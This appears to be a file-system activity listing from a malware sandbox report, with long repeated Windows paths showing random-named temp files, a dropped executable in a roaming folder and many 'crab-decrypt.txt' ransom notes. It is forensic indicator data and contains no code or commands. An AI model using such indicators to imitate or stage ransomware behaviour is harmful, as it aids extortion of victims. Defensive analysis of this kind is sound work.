c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-e jjuv2tekl.pdf
pdf
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-zzr9xykqr28kj4ewly.bmp
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-zzr9xykqr28kj4ewly.bmp
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-zzr9xykqr28kj4ewly.bmp
bmp
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\0rgngm qreowsur9e.mp3
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\0rgngm qreowsur9e.mp3
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\0rgngm qreowsur9e.mp3
mp3
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\1diaue6jjxocrnugyl.mp4
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\1diaue6jjxocrnugyl.mp4
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\1diaue6jjxocrnugyl.mp4
mp4
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\2nz3uswqyvxwxqcocf18.gif
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\2nz3uswqyvxwxqcocf18.gif
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\2nz3uswqyvxwxqcocf18.gif
gif
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\dbleevc8nl3ui3b.m4a
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\dbleevc8nl3ui3b.m4a
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\dbleevc8nl3ui3b.m4a
m4a
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ddye 50uk2l.gif
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ddye 50uk2l.gif
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ddye 50uk2l.gif
gif
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\f-pseooib7-oxdbtz1id.bmp
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\f-pseooib7-oxdbtz1id.bmp
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\f-pseooib7-oxdbtz1id.bmp
bmp
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\fafwveyglak7p93obz3y.pdf
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\fafwveyglak7p93obz3y.pdf
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\fafwveyglak7p93obz3y.pdf
pdf
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\hlfqvm89gdd j6tccek.m4a
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\hlfqvm89gdd j6tccek.m4a
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\hlfqvm89gdd j6tccek.m4a
m4a
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ieyof2itfx5.flv
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ieyof2itfx5.flv
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ieyof2itfx5.flv
flv
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\l5stdgugeyhdz.gif
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\l5stdgugeyhdz.gif
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\l5stdgugeyhdz.gif
gif
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ltns7xavnvqol2qn1xh.avi
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ltns7xavnvqol2qn1xh.avi
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ltns7xavnvqol2qn1xh.avi
avi
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\mle9mf-bdfdoibsg9l.wav
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\mle9mf-bdfdoibsg9l.wav
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\mle9mf-bdfdoibsg9l.wav
wav
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ougx-5zbszw.gif
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ougx-5zbszw.gif
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ougx-5zbszw.gif
gif
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\r6qy5m2ifyexifzabryd.png
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\r6qy5m2ifyexifzabryd.png
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\r6qy5m2ifyexifzabryd.png
png
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\sdac6uamd-p1jk.mp3
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\sdac6uamd-p1jk.mp3
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\sdac6uamd-p1jk.mp3
mp3
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\tvtfmivg4ragt74j-.bmp
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\tvtfmivg4ragt74j-.bmp
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\tvtfmivg4ragt74j-.bmp
bmp
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\yo5cdbmrfgogb.bmp
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\yo5cdbmrfgogb.bmp
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\yo5cdbmrfgogb.bmp
bmp
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edb.chk
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edb.chk
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edb.chk
chk
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edb00006.log
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edb00006.log
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edb00006.log
log
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbres00001.jrs
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbres00001.jrs
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbres00001.jrs
jrs
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbres00002.jrs
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbres00002.jrs
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbres00002.jrs
jrs
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbtmp.log
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbtmp.log
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\tiledatalayer\database\edbtmp.log
log
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\virtualstore\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\virtualstore\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\virtualstore\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\aggregatecache.uca
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\aggregatecache.uca
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\comms\unistore\data\aggregatecache.uca
uca
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpad\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpad\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpad\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpad\settings.dat
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpad\settings.dat
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpad\settings.dat
dat
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpadmetrics-active.pma
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpadmetrics-active.pma
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\crashpadmetrics-active.pma
pma
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\cache\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\cache\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\cache\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\databases\databases.db
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\databases\databases.db
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\databases\databases.db
db
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\previews_opt_out.db
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\previews_opt_out.db
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\default\previews_opt_out.db
db
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\evwhitelist\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\evwhitelist\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\evwhitelist\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\origintrials\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\origintrials\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\origintrials\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\pepperflash\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\pepperflash\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\pepperflash\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\pnacl\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\pnacl\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\pnacl\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\safe browsing\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\safe browsing\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\safe browsing\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\swreporter\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\swreporter\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\swreporter\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\widevinecdm\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\widevinecdm\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\google\chrome\user data\widevinecdm\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\low\history.ie5\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\low\history.ie5\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\low\history.ie5\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v2.0\usagelogs\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v2.0\usagelogs\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v2.0\usagelogs\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\usagelogs\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\usagelogs\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0\usagelogs\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\usagelogs\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\usagelogs\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\clr_v4.0_32\usagelogs\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\3y244kaf\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\3y244kaf\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\3y244kaf\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\asf6k8jf\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\asf6k8jf\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\asf6k8jf\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\m2cklqns\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\m2cklqns\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\m2cklqns\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\zh5q7inf\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\zh5q7inf\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\feeds cache\zh5q7inf\crab-decrypt.txt
txt
File
users\nd9e1fyi\appdata\roamingqtp35.exe
users\nd9e1fyi\appdata\roamingqtp35.exe
c:\
c:\users\nd9e1fyi\appdata\roamingqtp35.exe
exe
File
$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
c:\
c:\$recycle.bin\s-1-5-21-2172869166-1497266965-2109836178-1000\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
